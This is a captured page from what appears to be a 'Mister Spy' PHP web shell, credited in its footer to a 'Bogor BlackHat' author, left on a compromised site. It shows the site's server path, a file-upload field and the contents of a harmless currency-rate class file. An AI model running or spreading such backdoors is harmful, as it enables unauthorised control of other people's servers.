Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.dolar.php

<?php

class Dolar extends DBAccess
{
	public $IdCotizacion;
	public $Fecha;
	public $Hora;
	public $Compra;
	public $Venta;


	public function __construct()
	{
		/*
		$url = file_get_contents("http://www.nicolasgenen.com.ar/wsdolar.php");
		$xml = simplexml_load_string($url);
		
		$this->Fecha 	= $xml->datetime->fecha->asXML();
		$this->Hora 	= $xml->datetime->hora->asXML();
		$this->Compra 	= $xml->compra->valor->asXML();
		$this->Venta 	= $xml->venta->valor->asXML();
		
		$this->Fecha	= str_replace("<valor>", "", $this->Fecha);
		$this->Fecha	= str_replace("</valor>", "", $this->Fecha);
		$this->Hora		= str_replace("<valor>", "", $this->Hora);
		$this->Hora		= str_replace("</valor>", "", $this->Hora);
		$this->Compra	= str_replace("<valor>", "", $this->Compra);
		$this->Compra	= str_replace("</valor>", "", $this->Compra);
		$this->Venta	= str_replace("<valor>", "", $this->Venta);
		$this->Venta	= str_replace("</valor>", "", $this->Venta);
		*/

		$this->Compra	= 0;
		$this->Venta	= 0;
	}


	public function ParseFromArray(array $arr)
	{
		$this->IdCotizacion	= $arr['IdCotizacion'];
		$this->Fecha		= $arr['Fecha'];
		$this->Compra		= $arr['Compra'];
		$this->Venta		= $arr['Venta'];
	}
}

?> 

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat